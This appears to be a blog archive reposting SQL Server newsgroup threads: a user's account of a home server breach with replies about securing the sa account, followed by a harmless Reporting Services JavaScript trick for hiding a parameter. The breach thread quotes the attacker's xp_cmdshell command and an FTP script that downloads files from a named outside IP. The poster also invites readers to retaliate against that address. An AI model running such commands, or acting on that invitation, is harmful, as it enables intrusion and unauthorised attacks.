Showing posts with label hack. Show all posts
Showing posts with label hack. Show all posts

Sunday, February 19, 2012

hack using xp_cmdshell

I have a dev box running at home. The box is configured with Win2k Advanced
Server, with sp4 and all security updates. It also is running SQL 2k
Enterprise Edition with sp3a. It sits behind a Linksys firewall that is
usually sealed tight. I typically only keep 2 ports open; 5900 for vnc and
3389 for terminal server.
Occasionally, other developers I work with need to get on the box, and I'll
open 1433, and very occasionally 21, for ftp.
About a week ago I discovered my serv-u server had been hacked. There was a
new domain running. I wasn't too concerned because it had been setup to use
port 65300, which has never been open on my firewall. I traded several
emails with rhinosoft and finally just deleted the domain and kept my
fingers crossed.
Yesterday, I wanted to see if my developers were on my box so I ran sp_who2.
I saw a box that I didn't recognize, then freaked when I saw the
ProgramName - SQL Exec for NetHakcerIII. You can find a description of the
program here: http://www.timelink.cn/tianxing/netck.htm.
Upon running dbcc inputbuffer, I discovered they were running the following:
xp_cmdshell "ftp -I -n -v -s:C:\winnt\system32\vga.txt".
Vga.txt contained the following:
open 205.146.38.34 1210
user echo
tools
BINARY
mget *.*
quit
First of all...if anyone out there reading this owns this IP...the FBI will
be knocking on your door soon. Secondly, if anyone out there reading this
would like to have some fun with this punk - you have their IP - have fun!
What I'm most concerned about though is how someone could have compromised
my system. And especially xp_cmdshell. I saved a lot of information about
this person, including an outlook profile that I believe belongs to them,
but what I don't remember is the Login that this was running under. I
rebuilt my box last night, including deleting the partition. So what I
didn't save is gone. I've never granted exec on xp_cmdshell to any of my
sql users, so this person had to be running it under the sa account. How
were they able to compromise my system so easily? I've extremely diligent
about apply security updates/service packs, and as I mentioned earlier, the
box is usually locked down behind a firewall. With all ports closed it runs
in stealth mode according to grc.com.
Any info is appreciated. I can also provide additional details of the files
deposited on my box by this person too.
Thanks, AndreAndre,
I'm no security expert, so please forgive if I'm not using the right
terminology etc.
Could it be as simple as having no password for sa? This can happen is you
install SQL Server in Windows Only mode and then Switch down to Mixed mode,
for instance.
It happened to me on my home machine "this is no production server", but of
course the machine in itself got infected as well. I now always always
always assign a strong password for sa (regardless security mode) and of
course I'm using a firewall at home as well ;-).
Is the SQL Server instance a default instance? If so, some viruses will just
aim for port 1433 and try sa without password. I can assume that some
viruses can try brute force using other passwords as well, but logging
failed logins would catch that.
Tibor Karaszi, SQL Server MVP
Archive at:
http://groups.google.com/groups?oi=...ublic.sqlserver
"Andre" <AndreGetsEnoughSPAM@.nospam.com> wrote in message
news:eoosP61$DHA.1844@.TK2MSFTNGP11.phx.gbl...
> I have a dev box running at home. The box is configured with Win2k
Advanced
> Server, with sp4 and all security updates. It also is running SQL 2k
> Enterprise Edition with sp3a. It sits behind a Linksys firewall that is
> usually sealed tight. I typically only keep 2 ports open; 5900 for vnc
and
> 3389 for terminal server.
> Occasionally, other developers I work with need to get on the box, and
I'll
> open 1433, and very occasionally 21, for ftp.
> About a week ago I discovered my serv-u server had been hacked. There was
a
> new domain running. I wasn't too concerned because it had been setup to
use
> port 65300, which has never been open on my firewall. I traded several
> emails with rhinosoft and finally just deleted the domain and kept my
> fingers crossed.
> Yesterday, I wanted to see if my developers were on my box so I ran
sp_who2.
> I saw a box that I didn't recognize, then freaked when I saw the
> ProgramName - SQL Exec for NetHakcerIII. You can find a description of
the
> program here: http://www.timelink.cn/tianxing/netck.htm.
> Upon running dbcc inputbuffer, I discovered they were running the
following:
> xp_cmdshell "ftp -I -n -v -s:C:\winnt\system32\vga.txt".
> Vga.txt contained the following:
> open 205.146.38.34 1210
> user echo
> tools
> BINARY
> mget *.*
> quit
> First of all...if anyone out there reading this owns this IP...the FBI
will
> be knocking on your door soon. Secondly, if anyone out there reading this
> would like to have some fun with this punk - you have their IP - have fun!
> What I'm most concerned about though is how someone could have compromised
> my system. And especially xp_cmdshell. I saved a lot of information
about
> this person, including an outlook profile that I believe belongs to them,
> but what I don't remember is the Login that this was running under. I
> rebuilt my box last night, including deleting the partition. So what I
> didn't save is gone. I've never granted exec on xp_cmdshell to any of my
> sql users, so this person had to be running it under the sa account. How
> were they able to compromise my system so easily? I've extremely diligent
> about apply security updates/service packs, and as I mentioned earlier,
the
> box is usually locked down behind a firewall. With all ports closed it
runs
> in stealth mode according to grc.com.
> Any info is appreciated. I can also provide additional details of the
files
> deposited on my box by this person too.
> Thanks, Andre
>
>|||Fortunately 14 years of SQL experience, and a little common sense, would
never allow me to run any box without a sa password. While I'm the
first to admit it's not "strong", I do have a password.
It is a default instance, running on port 1433. So maybe in the future I
should run it on a different port and just have my developers connect to me
on that port eh?
Andre
"Tibor Karaszi" <tibor_please.no.email_karaszi@.hotmail.nomail.com> wrote in
message news:e$fb$91$DHA.1032@.TK2MSFTNGP10.phx.gbl...
> Andre,
> I'm no security expert, so please forgive if I'm not using the right
> terminology etc.
> Could it be as simple as having no password for sa? This can happen is you
> install SQL Server in Windows Only mode and then Switch down to Mixed
mode,
> for instance.
> It happened to me on my home machine "this is no production server", but
of
> course the machine in itself got infected as well. I now always always
> always assign a strong password for sa (regardless security mode) and of
> course I'm using a firewall at home as well ;-).
> Is the SQL Server instance a default instance? If so, some viruses will
just
> aim for port 1433 and try sa without password. I can assume that some
> viruses can try brute force using other passwords as well, but logging
> failed logins would catch that.
> --
> Tibor Karaszi, SQL Server MVP
> Archive at:
>
http://groups.google.com/groups?oi=...ublic.sqlserver
>
> "Andre" <AndreGetsEnoughSPAM@.nospam.com> wrote in message
> news:eoosP61$DHA.1844@.TK2MSFTNGP11.phx.gbl...
> Advanced
> and
> I'll
was
> a
> use
> sp_who2.
> the
> following:
> will
this
fun!
compromised
> about
them,
my
How
diligent
> the
> runs
> files
>|||> Fortunately 14 years of SQL experience, and a little common sense, would
> never allow me to run any box without a sa password.
Good. :-) I didn't really imply that you were, I was just sharing my
experiences and speculated around things that could have caused this.
Possibly, they cracked your password and used xp_cmdshell to spread in the
machine. Or, possibly some other way, of course.
Assuming they used xp_cmdshell, consider the service account and what
permissions it has in the domain and on that machine.

> It is a default instance, running on port 1433. So maybe in the future I
> should run it on a different port and just have my developers connect to
me
> on that port eh?
Yep. However, I don't know how difficult it would be to use some sort of
port scan to find the port number.
--
Tibor Karaszi, SQL Server MVP
Archive at:
http://groups.google.com/groups?oi=...ublic.sqlserver
"Andre" <AndreGetsEnoughSPAM@.nospam.com> wrote in message
news:uhRbwi2$DHA.2432@.TK2MSFTNGP11.phx.gbl...
> Fortunately 14 years of SQL experience, and a little common sense, would
> never allow me to run any box without a sa password. While I'm the
> first to admit it's not "strong", I do have a password.
> It is a default instance, running on port 1433. So maybe in the future I
> should run it on a different port and just have my developers connect to
me
> on that port eh?
> Andre
>
> "Tibor Karaszi" <tibor_please.no.email_karaszi@.hotmail.nomail.com> wrote
in
> message news:e$fb$91$DHA.1032@.TK2MSFTNGP10.phx.gbl...
you
> mode,
> of
> just
>
http://groups.google.com/groups?oi=...ublic.sqlserver
is
vnc
> was
to
several
of
> this
> fun!
> compromised
> them,
I
> my
> How
> diligent
earlier,
it
>

hack using xp_cmdshell

I have a dev box running at home. The box is configured with Win2k Advanced
Server, with sp4 and all security updates. It also is running SQL 2k
Enterprise Edition with sp3a. It sits behind a Linksys firewall that is
usually sealed tight. I typically only keep 2 ports open; 5900 for vnc and
3389 for terminal server.
Occasionally, other developers I work with need to get on the box, and I'll
open 1433, and very occasionally 21, for ftp.
About a week ago I discovered my serv-u server had been hacked. There was a
new domain running. I wasn't too concerned because it had been setup to use
port 65300, which has never been open on my firewall. I traded several
emails with rhinosoft and finally just deleted the domain and kept my
fingers crossed.
Yesterday, I wanted to see if my developers were on my box so I ran sp_who2.
I saw a box that I didn't recognize, then freaked when I saw the
ProgramName - SQL Exec for NetHakcerIII. You can find a description of the
program here: http://www.timelink.cn/tianxing/netck.htm.
Upon running dbcc inputbuffer, I discovered they were running the following:
xp_cmdshell "ftp -I -n -v -s:C:\winnt\system32\vga.txt".
Vga.txt contained the following:
open 205.146.38.34 1210
user echo
tools
BINARY
mget *.*
quit
First of all...if anyone out there reading this owns this IP...the FBI will
be knocking on your door soon. Secondly, if anyone out there reading this
would like to have some fun with this punk - you have their IP - have fun!
What I'm most concerned about though is how someone could have compromised
my system. And especially xp_cmdshell. I saved a lot of information about
this person, including an outlook profile that I believe belongs to them,
but what I don't remember is the Login that this was running under. I
rebuilt my box last night, including deleting the partition. So what I
didn't save is gone. I've never granted exec on xp_cmdshell to any of my
sql users, so this person had to be running it under the sa account. How
were they able to compromise my system so easily? I've extremely diligent
about apply security updates/service packs, and as I mentioned earlier, the
box is usually locked down behind a firewall. With all ports closed it runs
in stealth mode according to grc.com.
Any info is appreciated. I can also provide additional details of the files
deposited on my box by this person too.
Thanks, AndreAndre,
I'm no security expert, so please forgive if I'm not using the right
terminology etc.
Could it be as simple as having no password for sa? This can happen is you
install SQL Server in Windows Only mode and then Switch down to Mixed mode,
for instance.
It happened to me on my home machine "this is no production server", but of
course the machine in itself got infected as well. I now always always
always assign a strong password for sa (regardless security mode) and of
course I'm using a firewall at home as well ;-).
Is the SQL Server instance a default instance? If so, some viruses will just
aim for port 1433 and try sa without password. I can assume that some
viruses can try brute force using other passwords as well, but logging
failed logins would catch that.
--
Tibor Karaszi, SQL Server MVP
Archive at:
http://groups.google.com/groups?oi=djq&as_ugroup=microsoft.public.sqlserver
"Andre" <AndreGetsEnoughSPAM@.nospam.com> wrote in message
news:eoosP61$DHA.1844@.TK2MSFTNGP11.phx.gbl...
> I have a dev box running at home. The box is configured with Win2k
Advanced
> Server, with sp4 and all security updates. It also is running SQL 2k
> Enterprise Edition with sp3a. It sits behind a Linksys firewall that is
> usually sealed tight. I typically only keep 2 ports open; 5900 for vnc
and
> 3389 for terminal server.
> Occasionally, other developers I work with need to get on the box, and
I'll
> open 1433, and very occasionally 21, for ftp.
> About a week ago I discovered my serv-u server had been hacked. There was
a
> new domain running. I wasn't too concerned because it had been setup to
use
> port 65300, which has never been open on my firewall. I traded several
> emails with rhinosoft and finally just deleted the domain and kept my
> fingers crossed.
> Yesterday, I wanted to see if my developers were on my box so I ran
sp_who2.
> I saw a box that I didn't recognize, then freaked when I saw the
> ProgramName - SQL Exec for NetHakcerIII. You can find a description of
the
> program here: http://www.timelink.cn/tianxing/netck.htm.
> Upon running dbcc inputbuffer, I discovered they were running the
following:
> xp_cmdshell "ftp -I -n -v -s:C:\winnt\system32\vga.txt".
> Vga.txt contained the following:
> open 205.146.38.34 1210
> user echo
> tools
> BINARY
> mget *.*
> quit
> First of all...if anyone out there reading this owns this IP...the FBI
will
> be knocking on your door soon. Secondly, if anyone out there reading this
> would like to have some fun with this punk - you have their IP - have fun!
> What I'm most concerned about though is how someone could have compromised
> my system. And especially xp_cmdshell. I saved a lot of information
about
> this person, including an outlook profile that I believe belongs to them,
> but what I don't remember is the Login that this was running under. I
> rebuilt my box last night, including deleting the partition. So what I
> didn't save is gone. I've never granted exec on xp_cmdshell to any of my
> sql users, so this person had to be running it under the sa account. How
> were they able to compromise my system so easily? I've extremely diligent
> about apply security updates/service packs, and as I mentioned earlier,
the
> box is usually locked down behind a firewall. With all ports closed it
runs
> in stealth mode according to grc.com.
> Any info is appreciated. I can also provide additional details of the
files
> deposited on my box by this person too.
> Thanks, Andre
>
>|||Fortunately 14 years of SQL experience, and a little common sense, would
never allow me to run any box without a sa password. :) While I'm the
first to admit it's not "strong", I do have a password.
It is a default instance, running on port 1433. So maybe in the future I
should run it on a different port and just have my developers connect to me
on that port eh?
Andre
"Tibor Karaszi" <tibor_please.no.email_karaszi@.hotmail.nomail.com> wrote in
message news:e$fb$91$DHA.1032@.TK2MSFTNGP10.phx.gbl...
> Andre,
> I'm no security expert, so please forgive if I'm not using the right
> terminology etc.
> Could it be as simple as having no password for sa? This can happen is you
> install SQL Server in Windows Only mode and then Switch down to Mixed
mode,
> for instance.
> It happened to me on my home machine "this is no production server", but
of
> course the machine in itself got infected as well. I now always always
> always assign a strong password for sa (regardless security mode) and of
> course I'm using a firewall at home as well ;-).
> Is the SQL Server instance a default instance? If so, some viruses will
just
> aim for port 1433 and try sa without password. I can assume that some
> viruses can try brute force using other passwords as well, but logging
> failed logins would catch that.
> --
> Tibor Karaszi, SQL Server MVP
> Archive at:
>
http://groups.google.com/groups?oi=djq&as_ugroup=microsoft.public.sqlserver
>
> "Andre" <AndreGetsEnoughSPAM@.nospam.com> wrote in message
> news:eoosP61$DHA.1844@.TK2MSFTNGP11.phx.gbl...
> > I have a dev box running at home. The box is configured with Win2k
> Advanced
> > Server, with sp4 and all security updates. It also is running SQL 2k
> > Enterprise Edition with sp3a. It sits behind a Linksys firewall that is
> > usually sealed tight. I typically only keep 2 ports open; 5900 for vnc
> and
> > 3389 for terminal server.
> >
> > Occasionally, other developers I work with need to get on the box, and
> I'll
> > open 1433, and very occasionally 21, for ftp.
> >
> > About a week ago I discovered my serv-u server had been hacked. There
was
> a
> > new domain running. I wasn't too concerned because it had been setup to
> use
> > port 65300, which has never been open on my firewall. I traded several
> > emails with rhinosoft and finally just deleted the domain and kept my
> > fingers crossed.
> >
> > Yesterday, I wanted to see if my developers were on my box so I ran
> sp_who2.
> > I saw a box that I didn't recognize, then freaked when I saw the
> > ProgramName - SQL Exec for NetHakcerIII. You can find a description of
> the
> > program here: http://www.timelink.cn/tianxing/netck.htm.
> >
> > Upon running dbcc inputbuffer, I discovered they were running the
> following:
> > xp_cmdshell "ftp -I -n -v -s:C:\winnt\system32\vga.txt".
> >
> > Vga.txt contained the following:
> > open 205.146.38.34 1210
> > user echo
> > tools
> > BINARY
> > mget *.*
> > quit
> >
> > First of all...if anyone out there reading this owns this IP...the FBI
> will
> > be knocking on your door soon. Secondly, if anyone out there reading
this
> > would like to have some fun with this punk - you have their IP - have
fun!
> >
> > What I'm most concerned about though is how someone could have
compromised
> > my system. And especially xp_cmdshell. I saved a lot of information
> about
> > this person, including an outlook profile that I believe belongs to
them,
> > but what I don't remember is the Login that this was running under. I
> > rebuilt my box last night, including deleting the partition. So what I
> > didn't save is gone. I've never granted exec on xp_cmdshell to any of
my
> > sql users, so this person had to be running it under the sa account.
How
> > were they able to compromise my system so easily? I've extremely
diligent
> > about apply security updates/service packs, and as I mentioned earlier,
> the
> > box is usually locked down behind a firewall. With all ports closed it
> runs
> > in stealth mode according to grc.com.
> >
> > Any info is appreciated. I can also provide additional details of the
> files
> > deposited on my box by this person too.
> >
> > Thanks, Andre
> >
> >
> >
>|||> Fortunately 14 years of SQL experience, and a little common sense, would
> never allow me to run any box without a sa password. :)
Good. :-) I didn't really imply that you were, I was just sharing my
experiences and speculated around things that could have caused this.
Possibly, they cracked your password and used xp_cmdshell to spread in the
machine. Or, possibly some other way, of course.
Assuming they used xp_cmdshell, consider the service account and what
permissions it has in the domain and on that machine.
> It is a default instance, running on port 1433. So maybe in the future I
> should run it on a different port and just have my developers connect to
me
> on that port eh?
Yep. However, I don't know how difficult it would be to use some sort of
port scan to find the port number.
--
Tibor Karaszi, SQL Server MVP
Archive at:
http://groups.google.com/groups?oi=djq&as_ugroup=microsoft.public.sqlserver
"Andre" <AndreGetsEnoughSPAM@.nospam.com> wrote in message
news:uhRbwi2$DHA.2432@.TK2MSFTNGP11.phx.gbl...
> Fortunately 14 years of SQL experience, and a little common sense, would
> never allow me to run any box without a sa password. :) While I'm the
> first to admit it's not "strong", I do have a password.
> It is a default instance, running on port 1433. So maybe in the future I
> should run it on a different port and just have my developers connect to
me
> on that port eh?
> Andre
>
> "Tibor Karaszi" <tibor_please.no.email_karaszi@.hotmail.nomail.com> wrote
in
> message news:e$fb$91$DHA.1032@.TK2MSFTNGP10.phx.gbl...
> > Andre,
> >
> > I'm no security expert, so please forgive if I'm not using the right
> > terminology etc.
> > Could it be as simple as having no password for sa? This can happen is
you
> > install SQL Server in Windows Only mode and then Switch down to Mixed
> mode,
> > for instance.
> > It happened to me on my home machine "this is no production server", but
> of
> > course the machine in itself got infected as well. I now always always
> > always assign a strong password for sa (regardless security mode) and of
> > course I'm using a firewall at home as well ;-).
> >
> > Is the SQL Server instance a default instance? If so, some viruses will
> just
> > aim for port 1433 and try sa without password. I can assume that some
> > viruses can try brute force using other passwords as well, but logging
> > failed logins would catch that.
> >
> > --
> > Tibor Karaszi, SQL Server MVP
> > Archive at:
> >
>
http://groups.google.com/groups?oi=djq&as_ugroup=microsoft.public.sqlserver
> >
> >
> > "Andre" <AndreGetsEnoughSPAM@.nospam.com> wrote in message
> > news:eoosP61$DHA.1844@.TK2MSFTNGP11.phx.gbl...
> > > I have a dev box running at home. The box is configured with Win2k
> > Advanced
> > > Server, with sp4 and all security updates. It also is running SQL 2k
> > > Enterprise Edition with sp3a. It sits behind a Linksys firewall that
is
> > > usually sealed tight. I typically only keep 2 ports open; 5900 for
vnc
> > and
> > > 3389 for terminal server.
> > >
> > > Occasionally, other developers I work with need to get on the box, and
> > I'll
> > > open 1433, and very occasionally 21, for ftp.
> > >
> > > About a week ago I discovered my serv-u server had been hacked. There
> was
> > a
> > > new domain running. I wasn't too concerned because it had been setup
to
> > use
> > > port 65300, which has never been open on my firewall. I traded
several
> > > emails with rhinosoft and finally just deleted the domain and kept my
> > > fingers crossed.
> > >
> > > Yesterday, I wanted to see if my developers were on my box so I ran
> > sp_who2.
> > > I saw a box that I didn't recognize, then freaked when I saw the
> > > ProgramName - SQL Exec for NetHakcerIII. You can find a description
of
> > the
> > > program here: http://www.timelink.cn/tianxing/netck.htm.
> > >
> > > Upon running dbcc inputbuffer, I discovered they were running the
> > following:
> > > xp_cmdshell "ftp -I -n -v -s:C:\winnt\system32\vga.txt".
> > >
> > > Vga.txt contained the following:
> > > open 205.146.38.34 1210
> > > user echo
> > > tools
> > > BINARY
> > > mget *.*
> > > quit
> > >
> > > First of all...if anyone out there reading this owns this IP...the FBI
> > will
> > > be knocking on your door soon. Secondly, if anyone out there reading
> this
> > > would like to have some fun with this punk - you have their IP - have
> fun!
> > >
> > > What I'm most concerned about though is how someone could have
> compromised
> > > my system. And especially xp_cmdshell. I saved a lot of information
> > about
> > > this person, including an outlook profile that I believe belongs to
> them,
> > > but what I don't remember is the Login that this was running under. I
> > > rebuilt my box last night, including deleting the partition. So what
I
> > > didn't save is gone. I've never granted exec on xp_cmdshell to any of
> my
> > > sql users, so this person had to be running it under the sa account.
> How
> > > were they able to compromise my system so easily? I've extremely
> diligent
> > > about apply security updates/service packs, and as I mentioned
earlier,
> > the
> > > box is usually locked down behind a firewall. With all ports closed
it
> > runs
> > > in stealth mode according to grc.com.
> > >
> > > Any info is appreciated. I can also provide additional details of the
> > files
> > > deposited on my box by this person too.
> > >
> > > Thanks, Andre
> > >
> > >
> > >
> >
> >
>

Hack to Prevent Report From Running Automatically

After reading tons of articles about how to prevent initial execution
of a report (which I do know is by design), I came up with my own
hack. WARNING: This is definatey a Hack!, but once you have gotten
past the initial shock it does work quite well. (The code was only
tested on SQLRS 2005, so it may need tinkering for other versions)
Basically, from what I can gather the only way to prevent a report
from running automatically is to have a parameter whose default value
is null but required, for instance a string parameter whose Default
Value has been set to Null, with the Allow Blank Values option
checked, and the Allow Null Values option unchecked.
This works fine, if you have a paramater like this already that you
can just set the default value to Null, but if you don't want a Null
default value then you are out of luck.
You could create an additional parameter just for the sake of
preventing the report from running, but this mucks up the interface,
and having to tell your users, to just ignore that one parameter, it's
only there to keep the report from running straight-away is pretty
rubbish.
But following on that logic, you could create one of these extra
"ghost parameters" and then hide it from view when the page is loaded,
giving you the functionality of the above scenario, but without the
ugly textbox hanging around. This is quite different from creating a
"hidden parameter" by selecting the hidden radio button on the
parameter edit screen in reporting services which for a number of
reasons cannot be used to keep to the report from running.
So to implement it depends on where you are running the report from,
if you are using the Report Manager, the nice little out-of-the-box MS
tool for viewing the reports, then you need only need to modify the C:
\Program Files\Microsoft SQL Server\MSSQL.2\Reporting Services
\ReportManager\Pages\Report.aspx file
or wherever your SQL server reporting services install is located to
look like the following:
<%@. Register TagPrefix="MSRS"
Namespace="Microsoft.ReportingServices.UI"
Assembly="ReportingServicesWebUserInterface" %>
<%@. Page language="c#" Codebehind="Report.aspx.cs"
AutoEventWireup="true"
Inherits="Microsoft.ReportingServices.UI.ReportWrapperPage"
EnableEventValidation="false" %>
<script language="C#" runat="server">
void Page_Load(object sender, EventArgs e) {
string ScriptText = "<script language='javascript'>" +
"var x =document.getElementsByTagName('span'); " +
"for (i=0;i<x.length;i++) " +
"{ " +
"if (x[i].innerText == 'ghostparam') { " +
"var node = x[i].parentElement; " +
"if (node) " +
"node.style.visibility = 'hidden'; " +
"node = node.nextSibling; " +
"if (node) " +
"node.style.visibility = 'hidden'; " +
"} " +
"}";
ScriptText += "<" + (char)47 + "script>";
Page.RegisterStartupScript("hackit",ScriptText);
}
</script>
Note the AutoEventWireup="true" in the Page Directive has been
changed, it is set to "false" by default.
If however you are calling the Web Service directly and not from the
Report Manager and embedding it in your app the change is even easier,
just edit the C:\Program Files\Microsoft SQL Server\MSSQL.2\Reporting
Services\ReportServer\Pages\ReportViewer.aspx file and add the
following javascript directly just after the closing </form> tag.
<script language="javascript">
var x =document.getElementsByTagName("span");
for (i=0;i<x.length;i++)
{
if (x[i].innerText == "ghostparam") {
var node = x[i].parentElement;
if (node)
node.style.visibility = "hidden";
node = node.nextSibling;
if (node)
node.style.visibility = "hidden";
}
}
</script>
There may be a better way to write this javascript, and of course it
WILL BREAK if microsoft changes the way they output the html in a
future version of Reporting Services, so you will have to modify it
accordingly,
but any modifications should be straightforward and simple just find
the ghostparam textbox in the html and hide it.
The javascript examples above do rely on you creating a textbox
parameter called "ghostparam" with a Default Value of Null, and Allow
Nulls Values set to False and Allow Blanks Set to True. The absence
of such a parameter will not cause an error, it just means unless
there is another parameter preventing it, the report will just run
automatically as usual.
This should help a few of the more "liberal developers" out there :)
AlOn Feb 26, 11:13 am, o2sim...@.gmail.com wrote:
> After reading tons of articles about how topreventinitial execution
> of a report (which I do know is by design), I came up with my own
> hack. WARNING: This is definatey a Hack!, but once you have gotten
> past the initial shock it does work quite well. (The code was only
> tested on SQLRS 2005, so it may need tinkering for other versions)
> Basically, from what I can gather the only way topreventa report
> from running automatically is to have a parameter whose default value
> is null but required, for instance a string parameter whose Default
> Value has been set to Null, with the Allow Blank Values option
> checked, and the Allow Null Values option unchecked.
> This works fine, if you have a paramater like this already that you
> can just set the default value to Null, but if you don't want a Null
> default value then you are out of luck.
> You could create an additional parameter just for the sake of
> preventing the report from running, but this mucks up the interface,
> and having to tell your users, to just ignore that one parameter, it's
> only there to keep the report from running straight-away is pretty
> rubbish.
> But following on that logic, you could create one of these extra
> "ghost parameters" and then hide it from view when the page is loaded,
> giving you the functionality of the above scenario, but without the
> ugly textbox hanging around. This is quite different from creating a
> "hidden parameter" by selecting the hidden radio button on the
> parameter edit screen inreportingserviceswhich for a number of
> reasons cannot be used to keep to the report from running.
> So to implement it depends on where you are running the report from,
> if you are using the Report Manager, the nice little out-of-the-box MS
> tool for viewing the reports, then you need only need to modify the C:
> \Program Files\Microsoft SQL Server\MSSQL.2\ReportingServices
> \ReportManager\Pages\Report.aspx file
> or wherever your SQL serverreportingservicesinstall is located to
> look like the following:
> <%@. Register TagPrefix="MSRS"
> Namespace="Microsoft.ReportingServices.UI"
> Assembly="ReportingServicesWebUserInterface" %>
> <%@. Page language="c#" Codebehind="Report.aspx.cs"
> AutoEventWireup="true"
> Inherits="Microsoft.ReportingServices.UI.ReportWrapperPage"
> EnableEventValidation="false" %>
> <script language="C#" runat="server">
> void Page_Load(object sender, EventArgs e) {
> string ScriptText => "<script language='javascript'>" +
> "var x =document.getElementsByTagName('span'); " +
> "for (i=0;i<x.length;i++) " +
> "{ " +
> "if (x[i].innerText == 'ghostparam') { " +
> "var node = x[i].parentElement; " +
> "if (node) " +
> "node.style.visibility = 'hidden'; " +
> "node = node.nextSibling; " +
> "if (node) " +
> "node.style.visibility = 'hidden'; " +
> "} " +
> "}";
> ScriptText += "<" + (char)47 + "script>";
> Page.RegisterStartupScript("hackit",ScriptText);
> }
> </script>
> Note the AutoEventWireup="true" in the Page Directive has been
> changed, it is set to "false" by default.
> If however you are calling the Web Service directly and not from the
> Report Manager and embedding it in your app the change is even easier,
> just edit the C:\Program Files\Microsoft SQL Server\MSSQL.2\ReportingServices\ReportServer\Pages\ReportViewer.aspx file and add the
> following javascript directly just after the closing </form> tag.
> <script language="javascript">
> var x =document.getElementsByTagName("span");
> for (i=0;i<x.length;i++)
> {
> if (x[i].innerText == "ghostparam") {
> var node = x[i].parentElement;
> if (node)
> node.style.visibility = "hidden";
> node = node.nextSibling;
> if (node)
> node.style.visibility = "hidden";
> }
> }
> </script>
> There may be a better way to write this javascript, and of course it
> WILL BREAK if microsoft changes the way they output the html in a
> future version ofReportingServices, so you will have to modify it
> accordingly,
> but any modifications should be straightforward and simple just find
> the ghostparam textbox in the html and hide it.
> The javascript examples above do rely on you creating a textbox
> parameter called "ghostparam" with a Default Value of Null, and Allow
> Nulls Values set to False and Allow Blanks Set to True. The absence
> of such a parameter will not cause an error, it just means unless
> there is another parameter preventing it, the report will just run
> automatically as usual.
> This should help a few of the more "liberal developers" out there :)
> Al
Thanks for sharing this hack Al, it works great!
Oleksiy|||Hi,
Thanks for the hack. In addition to prevent report from running automatically, It helped me in placing the parameters order. I had 3 parameters and the last 2 parameters I wanted in a line & the hack helped me. Great stuff
From http://www.developmentnow.com/g/115_2007_2_0_0_937186/Hack-to-Prevent-Report-From-Running-Automatically.ht
Posted via DevelopmentNow.com Group
http://www.developmentnow.com